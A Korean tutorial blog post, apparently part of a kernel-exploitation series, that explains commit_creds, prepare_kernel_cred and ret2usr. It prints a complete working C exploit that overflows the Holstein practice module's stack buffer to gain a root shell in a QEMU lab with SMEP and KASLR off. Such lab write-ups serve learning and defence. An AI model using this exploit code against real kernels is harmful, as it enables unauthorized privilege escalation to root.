1. 소개
저번 글에서 Holstein 모듈에 대해서 소스코드 분석과 취약점을 알아보았다. Stack Buffer Overflow를 통해 RIP를 조작할 수 있다는 것을 알았으니 이제 이를 활용하여 권한 상승 공격을 실습 해볼것이다.
Main Topic
- commit_creds
- ret2usr
2. commit_creds
commit_creds 함수
가장 기본적인 권한 상승 방법으로는 commit_creds 함수와 init_cred 구조체를 사용한 권한 상승이 있다. cred 구조체는 각 프로세스에서 권한 정보를 가지고 있는 구조체로 task_cred 라는 구조체에서 이를 관리한다.
이중에서 commit_creds 함수는 프로세스의 권한 정보를 바꿔주는 함수로 소스코드와 함께 알아보자
int commit_creds(struct cred *new)
{
struct task_struct *task = current;
const struct cred *old = task->real_cred;
kdebug("commit_creds(%p{%ld})", new,
atomic_long_read(&new->usage));
BUG_ON(task->cred != old);
BUG_ON(atomic_long_read(&new->usage) < 1);
get_cred(new); /* we will require a ref for the subj creds too */
/* dumpability changes */
if (!uid_eq(old->euid, new->euid) ||
!gid_eq(old->egid, new->egid) ||
!uid_eq(old->fsuid, new->fsuid) ||
!gid_eq(old->fsgid, new->fsgid) ||
!cred_cap_issubset(old, new)) {
if (task->mm)
set_dumpable(task->mm, suid_dumpable);
task->pdeath_signal = 0;
/*
* If a task drops privileges and becomes nondumpable,
* the dumpability change must become visible before
* the credential change; otherwise, a __ptrace_may_access()
* racing with this change may be able to attach to a task it
* shouldn't be able to attach to (as if the task had dropped
* privileges without becoming nondumpable).
* Pairs with a read barrier in __ptrace_may_access().
*/
smp_wmb();
}
/* alter the thread keyring */
if (!uid_eq(new->fsuid, old->fsuid))
key_fsuid_changed(new);
if (!gid_eq(new->fsgid, old->fsgid))
key_fsgid_changed(new);
/* do it
* RLIMIT_NPROC limits on user->processes have already been checked
* in set_user().
*/
if (new->user != old->user || new->user_ns != old->user_ns)
inc_rlimit_ucounts(new->ucounts, UCOUNT_RLIMIT_NPROC, 1);
rcu_assign_pointer(task->real_cred, new);
rcu_assign_pointer(task->cred, new);
if (new->user != old->user || new->user_ns != old->user_ns)
dec_rlimit_ucounts(old->ucounts, UCOUNT_RLIMIT_NPROC, 1);
...
- new cred 구조체를 인자로 받고 프로세스의 각각의 권한 정보를 new cred 구조체의 정보로 바꿔준다.
init_cred
struct cred init_cred = {
.usage = ATOMIC_INIT(4),
.uid = GLOBAL_ROOT_UID,
.gid = GLOBAL_ROOT_GID,
.suid = GLOBAL_ROOT_UID,
.sgid = GLOBAL_ROOT_GID,
.euid = GLOBAL_ROOT_UID,
.egid = GLOBAL_ROOT_GID,
.fsuid = GLOBAL_ROOT_UID,
.fsgid = GLOBAL_ROOT_GID,
.securebits = SECUREBITS_DEFAULT,
.cap_inheritable = CAP_EMPTY_SET,
.cap_permitted = CAP_FULL_SET,
.cap_effective = CAP_FULL_SET,
.cap_bset = CAP_FULL_SET,
.user = INIT_USER,
.user_ns = &init_user_ns,
.group_info = &init_groups,
.ucounts = &init_ucounts,
};
- init_cred 구조체는 위와 같이 root 권한을 가리키고 있음을 알 수 있다.
prepare_kernel_cred
리눅스 커널 6.2 버전 이전에는 prepare_kernel_cred에 인자값으로 NULL을 입력할 경우 init_cred 구조체를 반환하는 코드가 존재하여 commit_cred(prepare_kernel_cred(NULL))이 실행되면 권한 상승을 할 수 있었다.
struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
const struct cred *old;
struct cred *new;
new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
if (!new)
return NULL;
kdebug("prepare_kernel_cred() alloc %p", new);
if (daemon)
old = get_task_cred(daemon);
else
old = get_cred(&init_cred);
validate_creds(old);
...
- 리눅스 커널 6.1 버전의 prepare_kernel_cred 이다.
- 인자로 NULL(0)을 입력받게 되면 아래의 조건문에 의하여 init_cred를 반환하게 된다.
3. ret2usr
위에서 commit_creds 함수의 기능과 init_cred에 대해서 알아보았다. 그럼 이번엔 커널단에서 유저로 돌아가는 방법에 대해서 알아보자.
Swapgs
Intel 아키텍처에서는 swapgs라는 명령이 존재한다. 커널 모드에서 유저 모드로 넘어갈때, GS Segment가 다르게 설정되기 때문에 커널 공간에서 유저 공간으로 넘어가기 전 swapgs 명령을 통해서 GS Segment를 설정해주는 것이다.
iretq
사용자 공간에서 커널 공간에 넘어갈때 syscall, int와 같은 명령이 있듯이 커널 공간에서 사용자 공간으로 넘어갈 땐 iretq, sysretq 명령이 존재한다.
이 때, iretq 명령을 실행하기 전 이전에 저장해둔 유저 공간의 rip, cs, rflags, rsp, ss를 불러오고 iretq 명령을 통해 유저 공간으로 돌아가야 한다. 이를 위한 스크립트는 항상 필수적이므로 각자 스타일에 맞추어 만들어 두고 사용을 하는 사람들도 있다. 기본적인 ret2usr 스크립트는 아래와 같다.
static void win() {
char *argv[] = { "/bin/sh", NULL };
char *envp[] = { NULL };
puts("[+] win!");
execve("/bin/sh", argv, envp);
}
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
:
: "memory");
}
static void restore_state() {
asm volatile("swapgs ;"
"movq %0, 0x20(%%rsp)\t\n"
"movq %1, 0x18(%%rsp)\t\n"
"movq %2, 0x10(%%rsp)\t\n"
"movq %3, 0x08(%%rsp)\t\n"
"movq %4, 0x00(%%rsp)\t\n"
"iretq"
:
: "r"(user_ss),
"r"(user_rsp),
"r"(user_rflags),
"r"(user_cs), "r"(win));
}
- ptr yudai님의 스크립트를 가져온 것이며 필자도 기본 스크립트는 이를 사용하고있다.
- rsp 는 어디로 설정하든 상관 없지만 rip는 유저 공간으로 돌아온 상태에서 Shell을 획득해야하기 때문에 execve("/bin/sh") 를 실행하는 함수를 만들어 rip를 이곳으로 조작하는 것이다.
4. Exploit
여기까지 권한 상승을 위한 함수와 유저 공간으로 돌아가기 위한 작업들을 준비 했으니 본격적으로 권한 상승을 해보자.
사용할 예제 파일은 이전 글에서도 사용하던 LK01과 같으며 세팅은 아래 링크를 참고하자
시나리오
- 우리가 실습하는 환경은 리눅스 커널 6.2 이전 버전이기 때문에 prepare_kernel_cred(NULL)을 활용한 공격을 진행한다.
- SMEP이 비활성화 되어있기 때문에 유저 공간에 미리 코드를 준비해두고 커널 공간에서 실행만 해주면 된다.
- 먼저 유저 공간의 정보를 저장해두고 commit_creds(prepare_kernel_cred(NULL))을 호출한다.
- 성공적으로 권한이 상승됐으면 swapgs -> 유저 공간의 레지스터 복구 -> iretq 호출을 통해 유저 공간으로 돌아간다.
- 직전 과정에서 rip를 쉘 실행 함수로 두었기 때문에 쉘이 실행되고 root 권한을 얻었으면 성공
Func Address Leak
공격을 진행하기 위해서 commit_creds와 prepare_kernel_cred의 주소를 알 필요가 있다. 우리는 실습을 편하게 진행하기 위해서 KASLR이 해제되어 있기 때문에 kallsyms 파일을 읽어 바로 주소를 알 수 있다.
/ # cat /proc/kallsyms | grep "commit_creds"
ffffffff8106e390 T commit_creds
/ # cat /proc/kallsyms | grep "prepare_kernel_cred"
ffffffff8106e240 T prepare_kernel_cred
KASLR이 적용되어 있을 경우, 매핑된 베이스 주소에 상대 주소를 더하여 계산하는 방식으로 함수의 주소를 알 수 있다.
KBOF
Buf와 Return Address 까지의 정확한 오프셋을 구해보자. Ida와 같은 툴을 이용하여 vuln.ko 파일을 열어보면 다음과 같이 _copy_from_user 함수의 주소를 알 수 있다.
상대주소는 0x190 이므로 모듈이 로드된 베이스 주소에 더하면 정확한 위치에 멈출 수 있다.
모듈이 로드된 베이스 주소는 위와같이 찾을 수 있으며 우리가 멈추어서 볼 부분은 0xffffffffc0000190이 된다.
이전에 사용했던 BOF exploit 바이너리를 실행해보자.
성공적으로 breakpoint에 멈추고 함수 진행 전후의 rbp 상황이다. 우리는 0x420 크기만큼 값을 입력하였고 결과 rbp, ret, 이후 0x10 만큼 값이 덮인 것을 알 수 있다. 따라서 ret 까지의 오프셋은 0x408 byte 이후 이다.
Exploit Payload
위 과정에서 필요한 정보를 모두 알았으니 이를 페이로드로 작성하면
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
unsigned long user_cs, user_ss, user_rsp, user_rflags;
unsigned long prepare_kernel_cred = 0xffffffff8106e240;
unsigned long commit_creds = 0xffffffff8106e390;
static void win() {
char *argv[] = { "/bin/sh", NULL };
char *evnp[] = { NULL };
puts("[+] win!");
execve("/bin/sh", argv, evnp);
}
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags
)
:
: "memory");
}
static void restore_state() {
asm volatile("swapgs ;"
"movq %0, 0x20(%%rsp)\t\n"
"movq %1, 0x18(%%rsp)\t\n"
"movq %2, 0x10(%%rsp)\t\n"
"movq %3, 0x08(%%rsp)\t\n"
"movq %4, 0x00(%%rsp)\t\n"
"iretq"
:
: "r"(user_ss),
"r"(user_rsp),
"r"(user_rflags),
"r"(user_cs), "r"(win));
}
static void escalate_privilege() {
char* (*pkc)(int) = (void*)(prepare_kernel_cred);
void (*cc)(char*) = (void*)(commit_creds);
(*cc)((*pkc)(0));
restore_state();
}
int main() {
save_state();
int fd = open("/dev/holstein", 2);
char buf[0x410];
memset(buf, 'A', 0x410);
*(unsigned long*)&buf[0x408] = (unsigned long)&escalate_privilege;
write(fd, buf, 0x410);
close(fd);
return 0;
}
위 페이로드를 컴파일 하여 qemu 상에서 실행시켰을 때 [+] win! 메시지가 출력되면 정상적으로 exploit 된 것이다.
차이를 정확히 알아보기위해서 uid 1337 로 바꾸어서 다시 실행시켜보면
정상적으로 권한 상승이 이루어 진것을 알 수 있다.
5. 정리
- 커널 모듈의 BOF를 통해서 rip를 조작하고 권한 상승을 하는 과정을 다루었다.
- 다음 글에서는 각 보호기법이 적용 되었을 때 위 페이로드를 어떻게 바꾸어야 할 지 알아보고 KROP(Kernel ROP)에 대해서 자세하게 다룰 예정이다.
'Kernel' 카테고리의 다른 글
[Kernel] Kernel Heap Overflow (1) | 2024.06.04 |
---|---|
[Kernel] KROP & KPTI (0) | 2024.03.15 |
[Kernel] Holstein Module (1) | 2024.02.12 |
[Kernel] 커널의 보호 기법 (1) | 2024.01.04 |
[Kernel] qemu를 사용한 환경 세팅 (1) | 2023.12.18 |